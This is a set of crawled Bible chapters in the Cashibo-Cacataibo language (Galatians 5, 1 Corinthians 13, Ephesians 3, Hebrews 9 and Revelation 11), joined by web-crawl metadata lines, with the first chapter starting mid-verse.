nuibanan axa 'aquinsa 'icë 'aquinti 'ain\". A bana quicësa oquin 'acë 'ixun camina bëtsi uni nuibati 'ain, mix bërúancacësaribi oquin. Usoquin 'acë 'ixun camina Nucën Papa Diosan bana raírinëxa quicësabi oquin 'acë 'iti 'ain. 15 Usa 'aínbi bëtsibë nishanani cuamianani camina mitsux Jesucristonën unimasa 'iti 'ain. Usai 'itin rabanan camina bërúinraocati 'ain.\nUnin sináncësa oquin sinanima Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicë 'iti bana\n16 'Ën cana mitsu cain, mitsux cuëëncësabi oquin ñu 'atima 'aquinma camina Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicësa oquinshi sinánquin ñu 'ati 'ain. 17 Nun sináncësa oquinshi ënë nëtënu 'icë ñu 'aquin cananuna Nucën Papa Diosan Bëru Ñunshin Upí cuëëncësama oquin 'ain. Nucën Papa Diosan Bëru Ñunshin Upí ax ca nun sináncësa oquinu ñu 'ati cuëënima. Usa 'ixun camina mitsux an sinánmicë 'ixun mitsun cuëëncë ñu 'atima 'ain. 18 Mitsun aín Bëru Ñunshin Upitan sinánmicëxun sinánquin ñu 'acë 'aish camina usai ca uni 'iti 'icë quixun Moisésnën cuënëo bana quicësamaira oi 'icë 'aish 'uchocëma 'iti 'ain.\n19 Camina 'unanin, unin ca 'aisa tanquinbi tënëquinma aín cuëëncësa oquin ësa ñucama 'aia quixun: aín xanuma 'aínbi xanubë 'iti, xanúxmabi uni itsibë 'iti, 'imainun ñunshínquin ñu 'atima 'ati. 20 'Anan ca 'aia, Nucën Papa Diosmi sinánquinma unin 'acë ñu rabiti, ñubë́ 'iti, bëtsibë nishánanti, cuamianani nishánanti, ñuñanánti, unimi pishui nishti, bënëtishi unimi nishti, anbi ñu 'acatsi quixun sináncë 'iti, 'imainun uni raíri, raíri unibë nishananquin amanu amanu sinánun sinánmiti, acamaribi. 21 'Imainunribi ca 'aia, bëtsi unin ñu cuëënti, uni 'ati, paë́nti, picë́ntapun 'iti, acama. Usa ñucama ca unin aín cuëëncësa oquin ñu 'aquin 'aia. Usa 'ain cana ën mitsu cacësaribi oquin mitsu catëcënin, usa ñua an 'acë unicamax ca aín unima 'aish Nucën Papa Diosan nëtënu abë 'itima 'icën.\n22 Usa 'aínbi ca Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicëxuan an sináncë uni ax ësai 'ia: unicama nuibacë, chuámarua 'aish cuëëncë, uisa ñu cara 'icëbëbi chuámarua 'aish bënë́cëma, an 'atimocëxunbi uni cupicëma, cuëmëninínshi banacë, upí nuituñu, 'imainun Jesucristomi upiti catamëcë, 23 rabícëma, aín cuëëncësari 'iisa tanquinbi tënëcë. Usa uni ñuia, ax —usai 'itima ca —quicë bana ca 'aíma 'icën. 24 Cristo nun 'ucha cupí i curúsocënu bama 'ain cananuna nun nu ñunshínquin 'asaribi oquin 'atëcënuxunma ñu 'atimacama ëan. 25 Usa 'ain cananuna nux aín Bëru Ñunshin Upitan 'imicëx Nucën Papa Diosan uni 'ixun, aín Bëru Ñunshin Upitan an nu sinánmicësabi oquin 'ati 'ain.\n26 Usa 'ain cananuna —'ëx cana bëtsi unisama 'ai —quiax rabítima 'ain, cananuna cuëbicanani unibë nishanantima 'ain, 'imainun cananuna bëtsimi nutsitima 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/GAL05.htm","date":"2022-05-19T01:21:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522741.25\/warc\/CC-MAIN-20220519010618-20220519040618-00026.warc.gz","language":"cbr","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000046491622925}","num_words":853,"character_repetition_ratio":0.109,"word_repetition_ratio":0.007,"special_characters_ratio":0.213,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nUnicama camina nuibati 'ai quixuan Pablonën ca\n1 'Ëx bëtsi bëtsi banan bananan anun ángel banacë banánribi banacëxbi ca uni nuibacëma 'aish 'ën bana rata tancácësa ñancáishi 'icën. 2 'Ën Nucën Papa Diosan a sinánmicë ñu ñuiquin unicama ñuixuanan, camabi ñu 'unánquin uni itsin 'unáncëma ñuribi 'unánan, —Nucën Papa Diosan ca 'ë 'aquinti 'icë —quixun sinánquin aín cushin aín bashibi amanu tacuiabi, ca uni itsi nuibaquin 'acëma 'icë Nucën Papa Diosan 'ë upí isima. 3 'Ën ñucama ñuñuma uni 'inánan upí ñu 'acë cupí bëtsi unin nëëncëx bamaiabi ca uni nuibati 'icëma 'icë, Nucën Papa Diosan 'ë upí isima.\n4 An uni raíri nuibacë unin ca bëtsi unia abë upíma 'icëbi ami nishquinma upí oquinshi caia. Usa 'aish ca bëtsi unibë upí 'ia. An uni raíri nuibacë uni ax ca bëtsimi nutsima. Ca —bëtsi unibë sënë́nmaira cana 'ai —quixun sinanima. Ca rabiacatima. 5 Ca nishcësashi 'aish aín cuëëncësa oíshi 'ima. Aín cuëëncësa oquinshi ñu 'acë ca 'ima. Ca bënëtishi nishima. Ami nishquian unin 'atimocëxunbi ca axribi ami nishquinma tanshitia. 6 Ñu 'atima unin 'acëbë ca cuëënima. Usa 'aish ca upí ñu cuati cuni cuëënia. 7 An uni nuibacë unin ca amia nishcëxunbi uni, axribi ami nishquinma —sapi ca sinanati 'icë —quixun cainia. Axa upíma 'aínbi ca ami nishíma usabi abë upí 'ia.\n8 Ënë nëtëcama cëñúcëbëtan camaxunbi a 'unáncë cupí ca uinu 'icë unínbi Nucën Papa Dios quicë bana unicama ñuixuntëcëntima 'icën, uinu 'icë uníxbi ca Nucën Papa Dios rabi unin cuatima banan banatima 'icën, unían bëtsi uni 'unánmiti ca 'aíma 'iti 'icën. Usai 'iti a 'aíma 'aínbi ca nux nuibananti ax cëñutima, bamatancëxribi cananuna Nucën Papa Diosan nëtënu 'aish anuaxribi bëtsibë nuibananti 'ain. 9 Ënë nëtënuxun cananuna 'unánquinbi camabi uisai caranuna 'iti 'ai quixun 'unaniman. Usa 'ixun cananuna camabiira 'unáncëma 'ixun nun 'unáncëshi ñuixunin. 10 Usa 'aínbi cananuna ënë menuxun 'acësamaira oquin aín nëtënuxun upíira oquin an sinánmiti ñucama 'unánuxun 'ain.\n11 Xuratsu 'aish cana 'ëx tuá xuratsu 'icësari banacën. Usa 'ixun cana tuá xuratsunën sináncësa oquin sináncën. Xuratsu 'ixun cana xuratsunëan cuacësa oquin cuacën. Usa 'ixunbi cana canitancëxun xura 'aish 'ëx 'iá acama ëancën. 12 Espejo upíirama 'aínu upí oquin anun ñu iscëma usaribi oquin cananuna uisaira cara Nucën Papa Diosan sinan 'icë quixun camaira 'unaniman. Usa 'aínbi cananuna aín nëtënu 'ixúinra 'unánti 'ain. Bërí cana camabiira 'unaniman. Usa 'ixunbi cana 'unánti 'ain, an 'ë 'unáncësaribi oquin. 13 Bëtsi ñucama cëñúcëbëbi cananuna nux cëñútimoi abë 'aish Nucën Papa Diosmi catamëti 'ain. —Cananuna ënë Nucën Papa Diosan nëtënuax cëñútimoi 'iti 'ai —quixun 'unani cananuna cuëëinra cuëënti 'ain. Anu 'aish cananuna camáxbi cëñútimoi bëtsibë nuibananti 'ain. Nucën Papa Diosmi catamëti cuëëanan abë nëtë́timoi 'iti sinani cuëëníbi cananuna bëtsibë nuibanancë cupíira cuëëinra cuëënti 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO13.htm","date":"2022-05-25T03:30:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662578939.73\/warc\/CC-MAIN-20220525023952-20220525053952-00226.warc.gz","language":"cbr","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000087022781372}","num_words":430,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nJudíosma unicama Jesucristo ñuiquin bana ñuixunuan Nucën Papa Diosan Pablo caísa\n1 Mitsúxmi judíosma uni 'aíshbi Cristo Jesúsmi sinánun aín bana mitsu ñuixuncë cupí cana 'ëx, Pablo 'aish, sipuacë 'ain. Usa 'ixun cana mitsu Nucën Papa Dios ñucáxunin. 2 Mitsúnbi camina 'ëa ñuicania cuaquin 'unánti 'ain, mitsu nuibaquin ca Nucën Papa Diosan Cristo ñuiquin aín bana mitsu ñuixunun 'ë cacëxa quixun. 3 A bana uisai quicë cara quixun unin 'unánma 'icëbi ca bërí unin 'unania. Nucën Papa Diosanbi ca 'ëribi 'unánmiaxa. 'Itsamashi pain cana an 'ë 'unánmicë bana mitsu ñuixunquin cuënëon. 4 'Ën mitsu buánminuxun cuënëocë bana ënë isquin camina 'unánti 'ain, 'ën cana uisai quicë cara Cristo ñui quicë bana 'icë 'unani quixun. 5 A bana ca bëráma Jesucristo ucëma pain 'ain, uisai cara quia quixun uni Nucën Papa Diosan 'unánmiama 'icën. Usa 'aínbi ca bërí aín Bëru Ñunshin Upitan an aín bana ñuixunun caíscë unicama uisai cara a bana quia quixun 'unánmiaxa. 6 Unin 'unánma 'aínbi ca a bana ësai quia, judíos unicama 'icësaribiti ca judíosma unicama, Cristo Jesús bama cupí ami catamëti Nucën Papa Diosan uni 'ianan abë aín nëtënu 'iti 'icën, ax quiásabi oi.\n7 'Ëxbi usai 'itima 'icëbi ca ax asérabi cushi 'ixun Nucën Papa Diosan Cristo Jesús ñui quicë bana unicama ñuixunun 'ë 'imiacëxa. 8 'Ëx axa ami catamëcë uni raíribë sënë́nmara 'icëbi ca Nucën Papa Diosan nuibaquin, judíosma unicama Cristo ñui quicë bana 'unánminun 'ë 'imiaxa, uisaira oquin cara Cristonën aín unicama nuibaquin 'aquinia quixuan ënë nëtënuxun aín unicaman 'unáinracëma 'icëbi. 9 Nucën Papa Dios, an camabi ñu unio, an ca —Cristo ca uti 'icë —quixun bëráma mënío 'ixunbi Cristo ucëmapan 'ain, a ñui quicë bana uisai quicë cara quixuan unin cuanun 'unánmiama 'icën. 'Unánmiama 'ixunbi ca bërí a bana unicama 'unánminun Nucën Papa Diosan 'ë caxa. 10 Axa ami catamëcë unicamaxa an 'imicëx upí isquian naínu 'icë ángelcama, aín cushicamanribi uisaira cushiñu 'ianan uisaira sinánñu cara ax 'icë upí oquin 'unánun ca Nucën Papa Diosan aín unicama usai 'inun mëníocëxa. 11 Usaquin aín unicama 'iminuxuan usabi 'iti oquin an mëníosabi oquin ca Nucën Papa Diosan aín Bëchicë, Nucën 'Ibu Jesucristo, a ënë nëtënu xuacëxa. 12 Cristo cupí cananuna racuëtima uisa ñu cara, Nucën Papa Diosbë banati 'ain, an ca Cristomi catamëcë cupí nun bana cuatia quixun 'unani. 13 Usa 'ain camina 'ëx mitsu bana ñuixuncë cupí tëmëraia ñuicania cuatíbi racuëti masá nuitutima 'ain. 'Ën tëmëraquinbi Cristo ñui quicë banacama mitsu ñuixuncëxmi ami catamëtia Nucën Papa Diosan mitsu ainan 'imicë 'aish camina masá nuitutíma cuëënti 'ain.\nUisaira oquin cara Cristonën aín unicama nuibatia quicë bana\n14 Usa mitsux 'ain cana Nucën 'Ibu Jesucristonën Papa, Nucën Papa Dios, a rantin purúnquin mitsu ñucáxunin. 15 Ax ca menu 'icë unicama 'imainun naínu 'icë ángelcamaribi an unio 'aish acaman 'Ibu 'icën. 16 Ax upíira 'aish cushiira 'ixúan aín Bëru Ñunshin Upitan mitsun nuitu mëu sinánmiquin, ax cuëëncësabi oquinmi 'anun mitsu cushionun, cana a mitsu ñucáxunin. 17 'Imainun cana Cristomi catamëtia an mitsubë 'ixun an cushiocë 'aish, uisai cara 'íbi bëtsibë bëtsibë nuibananquinmi, 18 axribia ami sináncë unicamabëtan, uiti chaira aín sinan 'ixun cara Cristonën camabi menu 'icë unicama, 'apucama 'imainun 'apuma unicamacëñunbi ñumaraira unibi nuibatia quixun mitsun nuitu mëu 'unánun mitsu ñucáxunin. 19 Nun nu camaira 'unántisama 'icëbimi mitsun, uisaira oquin cara Cristonën mitsu nuibatia quixun, aín cushi an mitsun nuitu upí 'imiti axa asérabi mitsubë 'ain 'unánun cana Nucën Papa Dios mitsu ñucáxunin.\n20 Ax cushiira 'aish nubë 'ixun ca Nucën Papa Diosan nun ñucácësamaira oquin nu 'axúanan nun sináncësamaira oquinribi sinánxunquin nu 'aquinti 'icën. 21 Usa 'icë ca Cristo Jesús cupí aín unicaman xënibua 'aínbi a rabiti 'icën. Usaquin ca 'ati 'icën.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/EPH03.htm","date":"2022-05-28T23:29:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663021405.92\/warc\/CC-MAIN-20220528220030-20220529010030-00035.warc.gz","language":"cbr","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000061988830566}","num_words":577,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.359,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"III. LEVITAN RËBUNQUINËN ÑU 'ACË CUPI UNI 'IASAMAIRA OI CA JESUS CUPI UNI AIN 'UCHA TËRËNCË 'IA (9-10)\n9\nAnuax judíos sacerdotecama Nucën Papa Diosbë baná tabernáculo ñuianan Jesucristo anu Nucën Papa Dios 'icë ñuicë bana\n1 Bëráma ca Nucën Papa Diosan judíos unicaman usoquin a rabinun quixun caquin, anuxuan Levitan rëbúnquinën judíos unicama a ñucáxunti tabernáculo cacë xubu 'anun quixun cacëxa. 2 An Moisés cacësabi oquin ca judíos unicaman tabernáculo 'aquin, amo rabë́a aín namë́ 'itánun nëbë́tsi chupan bëpáncëxa. Anu paín atsínti anu ca anu lamparín nanti 'imainun curi mesa, anu uni itsin pitima pán nancë, acama 'iacëxa. Anu uni aín 'ucha tërë́ncëma 'ianan upiti mëníocacëma 'aish atsíntima 'ain ca a 'iti Cata Upí cacë 'iacëxa. 3 Cata Upí a 'ucë ca bëtsi cata 'iacëxa. Ax ca Cata Upíira cacë, 'iacëxa. 4 Tabernáculo nëbë́tsi rabë́ oquin bëpáncë chupa rapasu ca anuxun tsëpasa ñu sanutanun xaroti nancë 'iacëxa, a Cata Upíira cacë, a rapasu. A Cata Upíira cacë, anu ca bunánti, curin ratacacacë 'aish anúnribi aín namë́nu rocë 'iacëxa. A bunántinu ca curi 'acë chumu, anu maná cacë piti ñu 'itsamashi purucë, 'imainun Aaronën tsati 'aíshbi coo, a 'imainun maxax parúsha rabë́, anu usai ca aín uni 'iti 'icë quixun Nucën Papa Diosan cuënëo, acama 'iacëxa. 5 A bunánti aín mapútinu ca querubín rabë́, Nucën Papa Diosan suntárusa oquin curi uniocë, bësúnarabë oquin tsóncë 'iacëxa. A nëbë́tsinuax ca aín pëcacë 'ucë mëucüax Nucën Papa Dios banacëxa. Anu ca judíos sacerdotenën cushicaman 'apun 'aracacë ñuinanën imi ánscacëxa, Nucën Papa Diosan atun 'uchacama tërë́nun. Ënë ñucama camina 'unáncan. Usa 'ain cananuna camaira ñuiquin mitsu caiman.\n6 Usaquin tabernáculo xubunu 'icë ñucama mënío 'ain ca anu pain atsíncë cata, ax Cata Upí cacë, anu atsínxun judíos sacerdotenën an 'ati ñu 'aia, lamparín mëníoti, pán mesanu nanti, acama, Nucën Papa Diosan mëníosabi oquin. 7 Acamax ca tabernáculo cata, anu pain atsínti, anuishi atsinia. Usa 'aínbi ca cata itsi, Upíira cacë, anu judíos sacerdotenën cushicaman 'apu axëshi camabi baritian achúshi oíshi atsinia. Anu atsínquin ca 'aracacë ñuinanën imi buania, aín 'uchacëñuan judíos unicaman 'uchacamaribi Nucën Papa Diosan tërë́nun quixun ánscaquin. 8 Nun nu a ñucama sinania ca Nucën Papa Diosan Bëru Ñunshin Upitan nu ësaquin 'unánmia, anu pain atsínti cata anuxun atun 'acësabi oquian camabi nëtën ñu 'acëbë ca judíos unicamax Cata Upíira cacë, anu Nucën Papa Dios 'icë, anu abë bananux atsinima. 9 Usai ca 'ia quixun 'unánquin cananuna sinanin, Moisés quicësabi oquin ñuina rëxun xaroquinbi ca a unicaman, aín nuitu ca Nucën Papa Diosan iscëx asérabi upí 'icë quixun 'unanima. Usaribi cananuna nux 'ai quixun cananuna sinanin. 10 Nucën Papa Diosan ca usoquin judíos unibunën 'ati ñuiquin bëtsi bëtsi ñuina nami pitima 'imainun amiribi amiribi mëchucati, usa ñucama 'anun quixun mëníocëxa. Usai a banacama quicësabi oi 'ibi ca atun nuitu upí 'ima.\nAn Jesucristo xuisama pain 'aían judios unibunën usa ñucama 'anun ca Nucën Papa Diosan mëníocëxa.\n11 Usa 'ain ca Cristo ënë menu uá 'aish anu Nucën Papa Dios 'icë, anu cuantëcëancëxa. Ënë menuax cuantëcëan 'aish ca anua Nucën Papa Dios 'icë, anu 'icë sacerdote, an Nucën Papa Dios nu ñucáxuncë, a 'icën. Anu ax sacerdote 'icë ax unin 'acëma 'aish ca ënë nëtënu 'icë tabernáculosamaira 'icën. 12 Tabernáculonu 'icë cata Upíira cacë, anua sacerdotenën cushicaman 'apun chivo 'imainun vaca bacë rëxun aín imi buan 'aínbi ca Jesucristo aín imi 'apati bamatancëx baísquiax, anuira Nucën Papa Dios 'icë anu cuancëxa. Anu ashiti cuan 'ixun ca nun 'uchacama tërë́ncë 'aíshnu xënibua 'aínbi Nucën Papa Diosnan 'inun nu 'imia. 13 Judíos unicaman ca aín 'ucha cupí chivo ímainun vaca bacë, tabernáculo xubunu buánxun rëxun judíos sacerdotenën a xaroxúnun 'inánia. 'Ináncëxun ca sacerdotenën a ñuinacan imi bianan aín nami xaroxun aín chimapu bixun a unicamanu sácaia. Usoquian 'acëx aín 'ucha tërë́ncë 'aishbi ca 'uchatëcënima 'inúan 'acëma 'icën. 14 Ñuina rëcë aín imi cupí uni 'icësamaira oi cananuna Cristo bama cupí nun 'ucha tërë́ncë 'aish upí 'iti 'ain. Nucën Papa Diosan Bëru Ñunshin Upí, axa usabi 'iá 'aish usabi 'icë, ax abë 'ain ca Cristo, ax 'uchañuma 'aíshbi bamatsianxmabi, nun 'uchacama tërë́ncë 'inun bamacëxa. Xënibua 'aínbi abë 'itimoinu bamati 'icëbi ca nun 'uchacama tërë́nquin, ax aín imi 'apati bama cupí, Nucën Papa Dios, axa bamatimoi tsócë, a rabinu ax cuëëncësabi oi 'inun nu 'imia.\n15 Usa 'ain ca Nucën Papa Dios quiásabi oi, an Cristomi catamënun sinánmicë unicama xënibua 'aínbi abë 'inun Cristo bamacëxa. An Moisésnën cuënëo bana cua nucën raracaman 'ucharibi ca Cristo bama cupí, tërë́ncë 'icën. Usa 'ain ca Moisésnën cuënëo bana 'iásama Cristo ñui quicë bana 'icën. 16-17 Unin ca uin cara ax bamacëbëtan aín ñu biti 'icë quixun ñuiquin, —usai ca 'iti 'icë —quicë quirica mëníoia. Usa 'aínbi ca a uníxa bamacëma pain 'ain, aín ñu bëtsi uninanma 'icën. Aín 'ibúxa bamacëbë cuni ca aín ñucama asérabi bëtsi uninan 'ia. 18 Usaribi oquin ca 'aracacë ñuina aín imi 'apati bamacëbëtainshi Nucën Papa Diosan judíos unicama aín 'uchacama tërë́nquin manúmiacëxa. 19 Nucën Papa Diosan cacësabi oquin ca Moisésnën a banacama ñuiquin judíos unicama catancëxun vaca bacë imicëñun chivo imi bixun 'unpáxcëñun mëscutancëxun ro, hisopo cacë, aín xo, xónsa carnero rani 'acë risi anun tëcërëcacë a chabóquin, cuënëo banami 'anan unicamamiribi ánscacëxa. 20 Anscaquin ca judíos unicama cacëxa: \"Ënë imi ánscacë isquin camina 'unánti 'ain, Nucën Papa Diosan ca asérabi ax quiásabi oquin mitsun 'ucha tërë́nquin, mitsúxmi aín uni 'imainun ax mitsun Dios 'ixun mitsu sinánxunia\" quixun. 21 Usaribi oquin ca Moisésnën tabernáculo xubu 'imainun aín Cata Upí anu 'icë ñucama anun Nucën Papa Dios rabiquin ñu 'ati, acamamiribi a ñuina imi ánscacëxa. 22 Usa 'ain ca usoquin ca judíos sacerdotenën 'ati 'icë quixun Moisésnën cuënëo bana quicësabi oquin, anun Nucën Papa Dios rabiti ñucama ami imi ánscacë 'iacëxa, a ñuxa Nucën Papa Diosan iscëx upí 'inun. Ñuina bamacëbëma ca judíos unin 'ucha tërë́ncëma 'iá 'itsíanxa. Usaribiti ca Jesús bamama 'ain unin 'ucha tërë́ncëma 'itsíanxa.\nBamax Cristo baísquia cupíshi unin 'ucha tërë́ncë 'iti 'icë quicë bana\n23 Usaria Jesucristo anua Nucën Papa Dios 'icë anu atsínti tani ca unin 'acë tabernáculo xubu aín Cata Upíira cacë, anu judíos sacerdotenën cushicaman 'apu atsíancëxa. Usai Jesucristo 'iti 'ain ca a ñucama Nucën Papa Diosan upí isnun 'aracacë ñuinanën imi anu a sacerdotenën ánscacëxa. Usa 'aínbi cananuna ñuinanën imi ánscacë cupíma, Jesucristonëxbi aín imi 'apati bama cupíshi anua Nucën Papa Dios 'icë anu nux abë 'iti 'ain. 24 Ax ca tabernáculo, anua Nucën Papa Dios 'icë tanquian unin 'acë, anuma, anua Nucën Papa Dios 'icë anubi atsíancëxa, anuxuan nu Nucën Papa Dios ñucáxuncë anu. 25 Judíos sacerdotenën cushicaman 'apu ax ca tabernáculo xubu aín Cata Upíira anu camabi baritia achúshitishi, aín imima, 'aracacë ñuinanën imi ánscai atsinia. Usa 'aínbi ca Cristo, anua Nucën Papa Dios 'icë, anu 'itsai atsínima. 26 'Itsai atsínux ca 'itsai bama 'itsíanxa. Usa 'aínbi ca Cristo aín uti nëtë sënë́ncëbë uni 'inux uá 'aish bamatsianxmabi achúshitishi unin 'ucha cupí bamacëxa. 27 Ënë nëtënu 'icë camabi unix ca achúshitishi bamati 'icën. Usa 'icë ca aín ñu 'acëcama 'unánquin Nucën Papa Diosan uicamax cara aín nëtënu abë 'iti 'icë quixun canan uicamax cara anu abë 'itima 'icë quixun cati 'icën. 28 Usaribiti ca Cristo ënë menuax achúshitishi bamacëxa. Ax 'uchañuma 'aíshbi ca camabi unin 'ucha ainansa 'aish tërë́ncë 'inun bamacëxa. Bamatancëx baísquitancëx ca aín Papa Diosnu cuan 'aish amiribishi ënë nëtënu utëcënti 'icën. Camabi unin 'ucha cupí bamatëcëni aima ca an aín uti caíncë unicama abëa 'inun bitsi utëcënuxun 'aia.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/HEB09.htm","date":"2022-05-25T19:46:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662593428.63\/warc\/CC-MAIN-20220525182604-20220525212604-00273.warc.gz","language":"cbr","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000052452087402}","num_words":1186,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\nJesucristo ñuiquin an cacë ca rabë́ 'icë quicë bana\n1 Usai 'icëbëtan cana Nucën Papa Diosan 'ináncëxun i tsatisa biquin ësaia quiaribi cuan:\n—Tsatisa ënë i bixun camina anun anuxun Nucën Papa Dios rabiti xubu aín chaxcë́ tupúnti 'ain. Tupúanan camina anuxun ñu sanutanun nëënti, aín chaxcë́ribi tupúnti 'ain. Tupúanan camina an anuxun Nucën Papa Dios rabicë unicama cara uiti 'icë quixun 'unánuxun tupúnti 'ain. 2 A xubu rapasu 'icë me mëníocë, ashi camina tupúntima 'ain. Ax ca axa Nucën Papa Diosmi sináncëma unicamaxa anu 'inun ëncë 'iti 'icën. A unicaman ca cuarenta y dos 'uxëcama anu a xubu 'icë ëma, Jerusalén, a 'atimoi niti 'icën. Usa 'ain camina a xubu rapasu 'icë me mëníocë, a tupúntima 'ain. 3 A unicamaxa 'atimati anu nimainun cana an 'ë ñuiquin unicama canun rabë́ uni xuti 'ain. A uni rabë́ ax ca rabë́ olivos cacë iisa 'imainun rabë́ anu lamparín nanti ñusa 'icën. An ca 'ën xucëxun 'aisamaira nëtë, mil doscientos sesenta, a nëtëcama 'ë ñuiquin bana unicama ñuixunti 'icën. Atux ca masá nuitucë unían pañucësaribi chupa pañucë 'iti 'icën.\n4 An 'ë ñuiquin unicama cati rabë́ uni axa rabë́ olivos cacë iisa 'imainun rabë́ anu lamparín nanti ñusa 'icë ax ca anua Nucën 'Ibu Dios, axa camabi menu 'icë unicaman 'ibu 'icë, a bëmánon nitsíncë, a 'icën. 5 Unían a 'atimoisa tancëxun ca atun aín cuëbínua tsi rëquiruia chiquínquin cëñuia. An a 'atimoisa tancë unix ca usaquian 'acëx bamati 'icën. 6 A rabëtax ca cushiñu 'icën. Usa 'ixun ca 'aisa tanquin atúan Nucën Papa Dios quicësabi oquin bana ñuixunmainuan 'uí 'ibúaxma 'inun 'imiti 'icën. 'Aisa tanquin ca bacanu 'icë 'unpax imi 'imiti 'icën. 'Aisa tanquin ca bëtsi bëtsi ñu 'aquin paë tania tëmëranun unicama 'imiti 'icën. Uiti oquin cara usoquin 'aisa tania usoquin ca 'ati 'icën.\n7 Atúan unicama bana ñuixuncë nëtëcama inúcëbë ca piánancë ñuinasa ñu, ax quini chaira 'aish nëmíinra, anuax chiquíti 'icën. Chiquítancëxun ca an unicama bana ñuixuncë rabë́, ami nishi abë 'acánanquin ñusmoquin bamamiti 'icën. 8 Bamamicë 'aíshbi maíncëma 'aish ca a ëma cha, anu Nucën 'Ibu Jesús i curúsocënu matása, Jerusalén, anu 'icë bainu racáti 'icën. A ëmax ca Sodoma 'imainun Egipto caquin anëcëribi 'icën, anu 'icë unicamaxa Sodoma 'imainun Egiptonu 'icë uníxa 'iásaribiti Nucën Papa Diosmi sináncëma 'ain. 9 Rabë́ 'imainun achúshi nëtë 'imainun nëtë itsi bari xamárutamainun anu racácë ca anu cuancë unicama, bëtsi bëtsi unibu, bëtsi bëtsi menuax ucë 'ianan bëtsi bëtsi banan banacë, acaman isquin, uni raírinëan maíntisa taniabi 'amitima 'icën. 10 A rabëtan Nucën Papa Diosan bana ñuixunquin atun 'uchacama sinánmicë cupí ca axa Nucën Papa Diosmi sináncëma unicama a rabë́ bamacë isi cuëënti 'icën. Cuëëni ca abëa nuibanancë unicamabë ñu 'inánanti 'icën.\n11 Rabë́ 'imainun achúshi nëtë 'imainun nëtë itsi bari xamárucëbë ca a rabëtax bamaxbi Nucën Papa Diosan 'imicëx uinacëtëcëni niruaxa. Nirucëbë ca an atu iscë unicama ratuti racuë́ira racuë́axa. 12 Racuë́cëbëtan ca a rabëtan ësaquin caía naínuax banaia cuaxa:\n—Nëri ca ut.\nCacëx ca axa atumi nishcë unicaman ismainunbi nëtë cuinan nëbë́tsiocëx naínu cuanxa. 13 Usai 'icëbë ca me 'aisamaira shaíquiaxa. Shaíqui ca Jerusalén ëma nëbë́tsi rabë́, mëcën rabë́ oquin tëacësa 'aíshbi amo 'icë achúshi rurucubuaxa. Rurucubucëbë ca 'aisamaira uni siete mil bamaxa. Acama bamacëbëtan ca bamacëma unicaman racuë́quin, Nucën Papa Dios naínu 'icë rabiaxa.\n14 Usaquin ca mëcën achúshi ángelnën aín manë banañu banocëbëtan bëtsi ángelnënribi aín manë banañu banocëbëtan unicaman 'aisamaira paë tantëcëanxa. Usocëbëtan ca ángel itsi an tsiánquiira aín manë banañu, unicama paë tanun banocëma pan 'ixunbi bërí banoti 'icën.\nAshiquin manë banañu banoti\n15 Usa 'ain ca a ángelnënbi aín manë banañu banoxa. Banocëbëtan cana naínuax sharati munuma banaia ësai quia cuan:\nBërí ca Nucën 'Ibu Dios 'imainun Cristo, Nucën Papa Dios an uni ië́minun caísa, axëshi 'Apu 'ia. Nëtë́timoi usabi 'inux ca 'ia.\n16 Usai banacëbë ca caniacëcë unicama mëcën rabë́ 'imainun taë rabë́ 'imainun rabë́ 'imainun rabë́, axa anu Nucën Papa Dios 'icë, a bëmánon tsócë, acaman rantin puruni racábuti meu bësuquin Nucën Papa Dios rabiaxa. 17 Rabiquin ca caxa:\nNucën 'Ibu Dios, min cushi ca chaira 'aish bëtsi cushisama 'icën. Camina usabi 'iá 'ianan usabi 'aish, usabi 'iti 'ain. Cushiira 'ixun camina min cuëëncësabi oquin 'ain. 'Ai camina bërí mixëshi min unicaman 'Apu 'ain. Usa 'icë cananuna bërí —asábi ca —quixun caquin mi rabin. 18 Axa mimi sináncëma unicamax ca mimi xuamati nishaxa. Nishcë 'aínbi ca anun min uisoquin caramina atu 'ati 'ai, usoquin 'ati nëtë uaxa. Anun min camabi uni bama 'aíshbia baísquicë isti nëtë ca uaxa. An mix quicë bana uni ñuixuncë unicama, 'imainun axa min aín 'uchacama tërë́nun mimi catamëcë 'ixun min bana cuacë unicama, aín cushi unicama 'imainun cushima unicamaribi, camabi isquinmi anun mibëa 'inun biti nëtë ca uaxa. 'Imainun ca anúan 'uchañu unicama anua atun ñu 'atima 'acë cupí camabi 'uchañu uni 'iti anu cuanti nëtëribi uaxa.\n19 Usai 'icëbë ca naínu 'icë anuxun Nucën Papa Dios rabiti xubu aín xëcuë 